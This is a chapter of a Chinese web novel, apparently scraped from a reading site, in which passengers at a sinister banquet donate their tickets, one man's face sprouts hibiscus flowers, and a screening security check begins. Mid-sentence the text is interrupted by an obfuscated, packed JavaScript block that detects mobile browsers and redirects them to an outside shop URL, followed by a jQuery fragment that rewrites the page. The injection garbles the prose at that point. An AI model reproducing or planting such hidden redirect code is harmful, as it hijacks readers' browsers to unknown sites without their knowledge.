莫惊鹭愣了一下,脸上的错愕一闪而过,随后笑着对真正的水仙店长伸出了一只手:“你好。”
水仙居高临下地打量了她一眼,伸出满是老茧的手跟她握了一下,右手大拇指上戴着的水仙白玉扳指在黝黑的手上格外扎眼:“你就是刚刚主持拍卖会的人?”
莫惊鹭点了下头,心想:“果然城里来的这些宾客也在默默观察乘客们的行为举止。”
而他戴着的水仙白玉扳指和木槿的木槿花项链似乎也有共通之处。
“做得不错。”水仙露出一丝欣赏的笑意,侧身从旁边的桌子上端起一杯斟好了的茶递给她,“敬你一杯。”
莫惊鹭迅速扫了一眼旁边这个桌子,上面摆满了各种茶具,看起来和偏欧式风格的大厅格格不入,应该是这位水仙店长自己带来的。
她接过茶水,低头抿了一口,品不出什么特别的滋味,便客套地赞叹了一句:“好茶。”
宴会厅里有不少乘客耐不住饥饿取用了食物,目前看来似乎都没什么异常,除此之外,她怕自己要是不喝一口茶,会被水仙店长认为是不尊重他,那样麻烦就大了。
而且,如果幕后策划一切的人真的只是想要他们的命,从列车到宴会厅,有无数个可以让他们全军覆没的机会,倒也不必特意在食物上做什么手脚。
目前看来,这场“花掉车票”的迎新宴会,更像是一场另有目的的筛选,规则似乎也并非像明面上表露出来的那样简单。
水仙得意地哼了一声:“自然是好茶,这茶叶可是金柚特产的雨前香叶,水是我托白芷特意从芳汀区给我带来的松竹雪水。”
站在一旁的白芷摇了摇头,打断了水仙滔滔不绝的煮茶之道:“时间不早了,人家来找你肯定有要事要说,你的品茶心得等日后再说也不迟。”
“哦?你找我有什么事?”水仙放下茶杯,正色问道。
莫惊鹭把手里的一沓车票双手递给他:“这里一共是二十六万两千两百三十积分的代金券,是我们全体乘客对溪谷疗养院的一点心意,我刚刚拨打了爱心热线,对方说可以将捐赠的款项交给水仙店长,劳烦您了。”
水仙的视线在车票和莫惊鹭的脸上转了个圈,不禁笑了一声,接过车票:“不错。”
“你这小丫头倒是挺不错的。”
一直在旁边暗暗观察的王小果看到这肌肉夸张的彪形大汉终于收下了车票,这才狠狠松了一口气,有些虚脱地扶住了一旁的柱子。
莫惊鹭跟水仙和白芷又客套地寒暄了几句,然后便转身去找王小果,此时大厅中央的大钟正好走到了十一点五十。
原本只算是暗流涌动的宴会大厅在时间紧迫的情况下陷入了混乱,如果不是城中的宾客和诡异的服务员还在这里,乘客之间几乎难免会发生一些暴力事件。
有了莫惊鹭拍卖会的前车之鉴,有不少人撺掇着已经花掉车票买东西的乘客照猫画虎地召开拍卖会,但都因为缺乏有足够公信力的规则或违背了拍品主人的意愿而遭到了服务员的拒绝,也有人试图直接对疗养院进行捐款,却只想着找知情的莫惊鹭,而非多花心思和时间在大厅内找捐款线索。
时间紧迫,在能直接抄答案的情况下,很少有人会愿意自己再认真推导一遍。
莫惊鹭先前跟水仙和白芷在一起,乘客们不敢轻举妄动,而当他们结束对话后,这帮虎视眈眈的人却直接找不到她了,只听到蓝牙音箱里传来一道不疾不徐的女声:“溪谷疗养院的海报贴在最左侧楼梯旁边的墙上,祝你们好运。”
莫惊鹭关掉话筒后,伸了个懒腰,靠在了椅子后面的墙上。
她已经在自己能力范围内做到仁至义尽了,至于外面会有多混乱,跟她又有什么相干。
王小果坐在她旁边,感觉这个原本昏暗狭窄的角落都因为莫惊鹭的存在而格外安全。
她这个学妹简直是料事如神,居然直接预判了众人的下一步反应,悄悄带她躲到了这个没什么人会发现的小角落里,免于参与乘客之间最后的内斗。
她戳了戳莫惊鹭的胳膊,小心翼翼地用气音问道:“那边那个是谁呀?”
在长椅的另一端也坐着一个人,脑袋上的棒球帽压得很低,一双长腿在狭小的空间内微微曲起,似乎正在睡觉。
莫惊鹭之前留意了江隐的去向,猜测这人很可能会找个安静的角落待着,没想到后来就发挥了作用,变成了她们在最后十分钟内的藏身之所。
“不认识。”她也压低了声音,没再往另一边多看。
“看起来身材气质都很好啊,这大长腿……”王小果绷紧的神经在花掉车票后彻底松弛了下来,还有闲情逸致趴在莫惊鹭耳边轻声八卦,“下巴也好看,肯定是个大大大帅哥。”
莫惊鹭忍不住轻笑了一声:“的确。”
“这种情况下还能睡着,肯定和你一样淡定从容。”王小果眨了眨眼睛。
莫惊鹭挑了下眉:“我可一点都不淡定,其实我早就在背地里偷偷哭很多次了,只不过没让你发现。”
“真的假的?”王小果回想起她这一路的表现,连惊慌失措都没表露过一点的人,也会在背地里偷偷哭吗?可是她的车票只有五积分,早就花出去了,哪还有事情能让她哭呢?难道那个一脸凶相的水仙店长看似在跟她聊天,实则在威胁她?
看到对方真的陷入了沉思,似乎把她的话当了真,莫惊鹭笑着摇了摇头:“学姐啊……”
“你可别再叫我学姐了,以后你就是我鹭姐。”王小果小鸟依人地抱住她的胳膊,“叫我小果就行。”
“咚——”钟声绕梁。
十二点到了。
“请所有乘客到大厅后面的安检入口排队。”蓝牙音箱里又传出了熟悉的机械女音。
原本坐在角落里几乎一动不动的江隐忽然站起身,看也不看她们一眼,径直走了出去。
王小果趁机瞪大眼睛去看他的脸,等人走了才一脸满足地感叹:“果然是大大大大大帅哥。”
莫惊鹭一把将她从椅子上拽起来:“行了行了,赶紧下楼吧。”
“你力气怎么这么大?”王小果瞪大了眼睛,亦步亦趋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17812923|210943||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地跟在她身后,“你是不是能单手把我举起来?”
莫惊鹭一边下楼梯一边观察大厅里的形势:“怎么,想试试吗?”
“那倒不用。”王小果觉得自己现在的安全感简直爆棚,有什么能比一开始就抱到了正确的大腿更幸运呢?看来上学期保佑她高数低空飘过的幸运女神还在眷顾她。
大厅里的人群一片缄默,几乎没什么人说话,像极了一滩寂静的死水。
王小果默默闭上了嘴,跟着莫惊鹭排到了队伍里,好奇地四处观察身旁的人,发现人们在这个时候的表情格外耐人寻味,或许知道自己死到临头的人会撕掉伪装,对自己和他人都诚实一点。
“痒……好痒……”喑哑的呻吟声突然从大厅一角传来,瞬间吸引了人群的注意力。
一个男人像喝醉了一样跌跌撞撞地捂着脸走出来,被台阶绊了一下后摔倒在地,再也爬不起来了,只能用两只手扒拉着地往前爬,一抬头就露出一张长满了盛开花朵的脸,吓得众人纷纷往后退了几步,几个胆子小的直接叫了出来。
“痒……好痒……”刘争飞艰难地往前爬,“又长出来了……”
他的脑袋旁边悬着一个拳头大的金黄光晕,绕着他的头缓缓划出一道弧形,像一轮东升西落的太阳。
莫惊鹭眯了下眼睛,发现他脸上长出来的花正是嫩粉色的木槿花,只不过花瓣有些泛黄,像是沾染了一层油污。
那轮“太阳”缓缓落下,他脸上的木槿花也随之凋落,露出一张被挠得血肉模糊的脸。
木槿花有一个特点就是朝开暮落。
果然,随着金黄光晕再度在他脸颊边出现,一朵朵木槿花便重新从他的脸上钻了出来。
“这是什么东西啊,好恶心……”王小果想起了列车上那簇白色的假丁香花,胳膊上又起了一层鸡皮疙瘩。
另一边仍在宴会厅里交谈的宾客却显得冷漠多了,像是见怪不怪。
白芷蹙起柳叶细眉,对身旁的水仙说道:“谁又惹她了?发这么大脾气。”
水仙招手让服务员去把地上的东西扔出去,耸了耸肩回答道:“还能是谁?木槿向来是有仇当场就报,可没迁怒过其他人,也不知道这个新来的胆子怎么这么大。”
白芷看着刘争飞一边挠脸一边被往外拖,轻声感叹道:“看似无害柔弱的花,也可能是剧毒啊。”
“请各位乘客开始安检。”
“请各位乘客开始安检。”
“请各位乘客开始安检。”
机械女音回荡在大厅各个角落,把乘客们的注意力吸引了回来。
站在安检门旁边的引导员打开闸门,对站在第一个的乘客伸手摆出一个“请”的姿势。
排在头一个的男子像是个大学生,车票上的积分是三千五,他愣是一头扎在超市里把金额给凑够了,所以走进安检门时还算有几分自信。
“嘟——”安检门上方的显示屏上出现了一个醒目的红叉。
引导员微笑道:“很遗憾,资质审查不通过呢,请您移步到右边的挂牌区。”